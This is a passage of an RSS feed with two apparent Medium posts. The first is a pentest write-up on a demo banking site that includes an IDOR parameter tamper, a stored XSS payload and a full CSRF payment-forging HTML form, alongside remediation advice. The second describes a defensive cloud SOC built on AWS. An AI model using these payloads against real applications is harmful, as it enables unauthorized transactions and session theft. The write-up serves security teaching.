src="https://cdn-images-1.medium.com/max/605/1*Zj9JnsaovnEn-BRAmielcg.png" /><figcaption><strong>Remediation:</strong></figcaption></figure><ul><li>Enforce HTTPS with strong TLS configurations and enable HSTS.</li><li>Set Secure, HttpOnly, and SameSite flags on cookies.</li></ul><h3>3) IDOR — Account-Activity Tampering</h3><p><strong>OWASP mapping:</strong> A5 — Broken Access Control / A01 Broken Access Control.<br> <strong>What I found:</strong> Tampering with accountId in the account activity page returns other users’ data (e.g., ?accountId=2 shows user2’s records).</p><p><strong>Impact:</strong> Unauthorized access to user financial data; privacy breach and potential for fraudulent transactions.Change to ?accountId=2 → user2 data visible</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*46NCxk9ejljIentfmkUDHw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*r79p6IA3zmiERlABp_rKQg.png" /></figure><p><strong>Remediation:</strong></p><ul><li>Validate ownership server-side: map account references to authenticated session user server-side.</li><li>Use opaque UUIDs or random tokens instead of incremental numeric IDs.</li><li>Log and alert on anomalous access patterns</li></ul><h3>4) Stored XSS in Admin Currency Field</h3><p><strong>OWASP mapping:</strong> A7 — Cross-Site Scripting / A03 Injection.<br> <strong>What I found:</strong> The admin currency name field accepts and stores HTML; when the admin UI renders this field the stored HTML executes (e.g., &lt;script&gt;alert(1)&lt;/script&gt; triggers).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*Hk0_Ato6kaL9LaUp072k3Q.png" /></figure><p><strong>Impact:</strong> Admin-level XSS can lead to session theft, account takeover, and arbitrary admin actions.</p><blockquote><strong><em>Remediation:</em></strong></blockquote><ul><li>Apply contextual output encoding (use OWASP Java Encoder or templating auto-encoding).</li><li>Enforce input whitelists: currency values should be restricted to ISO currency codes or validated regex.</li><li>Add Content Security Policy (CSP) and remove malicious stored entries; rotate admin sessions after remediation.</li></ul><h3>5) CSRF on Payment Flow (/bank/pay-bills.html)</h3><p><strong>OWASP mapping:</strong> CSRF (Cross-Site Request Forgery) — missing anti-CSRF defenses.<br> <strong>What I found:</strong> Payment submission does not require anti-CSRF token, enabling an attacker to forge payments using an authenticated user’s session. Example POST observed: POST /bank/pay-bills.html amount=1500&amp;payee=Apple&amp;account=Checking&amp;date=2025-06-10.</p><p><strong>Impact:</strong> Unauthorized transactions executed using victim’s session — financial fraud risk.</p><p>&lt;! — Local demo: do NOT host this form against sites you don’t own →<br>&lt;form action=”<a href="http://zero.webappsecurity.com/bank/pay-bills.html">http://zero.webappsecurity.com/bank/pay-bills.html</a>&quot; method=”POST”&gt;<br> &lt;input type=”hidden” name=”amount” value=”1500&quot;&gt;<br> &lt;input type=”hidden” name=”payee” value=”Apple”&gt;<br> &lt;input type=”hidden” name=”account” value=”Checking”&gt;<br> &lt;input type=”hidden” name=”date” value=”2025–06–10&quot;&gt;<br> &lt;input type=”submit” value=”Submit request (demo only)”&gt;<br>&lt;/form&gt;</p><p><strong>Remediation:</strong></p><ul><li>Implement anti-CSRF tokens (per-session random token checked on POST).</li><li>Validate Origin/Referer as an additional control.</li><li>Require re-authentication or 2FA for high-value transactions.</li></ul><h3>6) Server &amp; Component Exposure (Tomcat 7.0.70)</h3><p><strong>OWASP mapping:</strong> A9 — Using Components with Known Vulnerabilities / A06 Vulnerable &amp; Outdated Components.<br> <strong>What I found:</strong> Tomcat docs and manager pages expose the server version Apache Tomcat/7.0.70. Directory listing is enabled under /errors/.</p><p><strong>Impact:</strong> Known CVEs may allow WAR upload or remote code execution on outdated Tomcat builds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*Z6tvG3AgrqQCsMm2pihPUg.png" /><figcaption><strong>Remediation:</strong></figcaption></figure><ul><li>Upgrade Tomcat to a supported version and apply vendor patches.</li><li>Remove or restrict /docs/ and /manager, disable directory listing, and suppress server version banners.</li><li>Add dependency/CVE scanning to CI.</li></ul><h3>7) Logging &amp; Monitoring Issues</h3><p><strong>OWASP mapping:</strong> A10 — Insufficient Logging &amp; Monitoring / A09 Security Logging &amp; Monitoring Failures.<br> <strong>What I found:</strong> Logs are accessible and contain sensitive input including attempted credentials; there’s no evidence of alerts on admin access or anomalous behavior.</p><p><strong>Impact:</strong> Attackers can harvest credentials and pivot; delayed detection of breaches.</p><p><strong>Remediation:</strong></p><ul><li>Avoid logging sensitive data (passwords, full PII); implement log redaction.</li><li>Centralize logs in a protected SIEM, enforce access controls, and enable alerting for suspicious patterns (admin login, multiple account accesses).</li><li>Define retention, monitoring, and incident response playbooks</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7fd44b5aeee2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building a Cloud-Native SOC on AWS: Real-Time Threat Detection & Automated Response]]></title>
            <link>https://medium.com/@ngowry12/building-a-cloud-native-soc-on-aws-real-time-threat-detection-automated-response-39984af8a2a3?source=rss-911f603dc305------2</link>
            <guid isPermaLink="false">https://medium.com/p/39984af8a2a3</guid>
            <dc:creator><![CDATA[Ngowry]]></dc:creator>
            <pubDate>Fri, 26 Sep 2025 12:47:33 GMT</pubDate>
            <atom:updated>2025-12-06T11:31:27.871Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In this project, I built a <strong>cloud-based Security Operations Center (SOC)</strong> on AWS, demonstrating real-time threat detection, prevention, and automated response. The setup integrates multiple open-source tools such as <strong>Wazuh (SIEM)</strong>, <strong>Suricata (IDS)</strong>, <strong>ModSecurity (WAF)</strong>, and <strong>DVWA (Damn Vulnerable Web Application)</strong>, simulating a full-stack security environment in the cloud.</p><p>This article walks through the <strong>architecture, infrastructure, traffic flow, automated responses, and lessons learned</strong> from the project.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*VJP6aYbNRtILROuHGJmO3A.png" /></figure><h3>Architecture Overview</h3><p>Here’s the high-level view of the SOC setup:</p><p><strong>Visual:</strong> <em>[Insert your architecture screenshot here]</em></p><p><strong>Key Components:</strong></p><ul><li><strong>Wazuh Manager (SIEM)</strong>: Central log collection, alerting, and analysis.</li><li><strong>DVWA (Vulnerable Web App)</strong>: Used for testing attacks safely.</li><li><strong>NGINX + ModSecurity WAF</strong>: Public-facing reverse proxy filtering malicious traffic.</li><li><strong>Suricata IDS</strong>: Monitors network traffic between NGINX and DVWA.</li><li><strong>AWS Lambda + WAF + VirusTotal</strong>: Automates threat blocking and enriches alerts.</li></ul><h3>AWS Infrastructure Details</h3><p>All instances are hosted on <strong>AWS EC2</strong>, using <strong>t3.large</strong> instance types.</p><p>Instance Role Key Tools &amp; Features</p><p><strong>1.</strong>Wazuh Manager :SIEM, centralized log collection, custom alert rules, Lambda automation, VirusTotal integration <br>2.DVWA + Wazuh Agent :Hosts DVWA in Docker, sends logs to Wazuh, internal-only access<br><strong>3.</strong>NGINX Reverse Proxy + ModSecurity WAF :Filters incoming traffic, blocks SQLi/XSS/brute-force attacks using OWASP CRS, forwards clean traffic to DVWA<br><strong>4.</strong>Suricata IDS :Monitors network traffic between NGINX and DVWA, forwards alerts to Wazuh</p><h3>Traffic Flow &amp; Attack Simulation</h3><ol><li><strong>User/Attacker Action:</strong></li></ol><ul><li>A request hits the public IP of the NGINX server</li></ul><p><strong>2.NGINX + ModSecurity:</strong></p><ul><li>Malicious traffic (SQLi, XSS, brute-force) is blocked with a <strong>403/404 response</strong>.</li><li>Clean traffic is forwarded to DVWA.</li></ul><p><strong>3. Suricata IDS:</strong></p><ul><li>Monitors traffic and sends alerts to Wazuh for suspicious activity.</li></ul><p><strong>4. Wazuh Manager.</strong></p><ul><li>Receives logs from all agents (DVWA, NGINX, Suricata).</li><li>Custom rule triggers alerts for attacks like brute-force login attempts.</li></ul><p><strong>5.Automated Response (Lambda + WAF):</strong></p><ul><li>Lambda function updates AWS WAF and Security Groups to block attacker IPs automatically.</li></ul><p><strong>6. VirusTotal &amp; Shuffle Integration:</strong></p><ul><li>Alert metadata (IP/File/Hash) sent to VirusTotal via Shuffle webhook.</li><li>Results (malicious/clean) are added to alert context.</li></ul><p><strong>7.Email Notifications:</strong></p><ul><li>Final enriched alert sent via email with full details, including VirusTotal results.</li></ul><h3>See it in Action</h3><p>Watch the SOC project live in action on YouTube:</p><p><strong>Visual:</strong> Cloud-Based SOC Project | Real-Time Threat Detection on AWS</p><blockquote><strong><em>YouTube Video:</em></strong><em> </em><a href="https://youtu.be/5CX7_e0WcvE"><em>https://www.youtube.com/yourvideo</em></a></blockquote><p>This video demonstrates how traffic flows through the system, how alerts are generated, and how automated responses block attacks in real-time.</p><h3>Integrations &amp; Automation</h3><ul><li><strong>AWS Lambda</strong>: Enables automated response to detected threats.</li><li><strong>AWS WAF</strong>: Blocks IPs flagged by Wazuh rules.</li><li><strong>VirusTotal + Shuffle</strong>: Checks suspicious IPs or files for malware.</li><li><strong>Email Alerts</strong>: Ensures administrators are immediately notified of attacks.</li></ul><h3>Conclusion</h3><p>This project successfully demonstrates how to:</p><ul><li>Detect <strong>web-based attacks</strong> using ModSecurity WAF.</li><li>Monitor <strong>network-level threats</strong> using Suricata IDS.</li><li>Correlate and analyze logs <strong>in real-time</strong> with Wazuh SIEM.</li><li>Automate <strong>response</strong> using AWS Lambda + WAF + VirusTotal.</li></ul><p>The SOC setup provides a <strong>full-stack cloud-native security solution</strong>, combining detection, prevention, and automated response in a single architecture.</p><p><strong>Future Improvements:</strong></p><ul><li>Integrate <strong>Elastic Stack (ELK)</strong> for enhanced visualization.</li><li>Expand to <strong>multi-region AWS deployment</strong> for resilience.</li><li>Add <strong>more applications</strong> for broader threat simulations.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=39984af8a2a3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>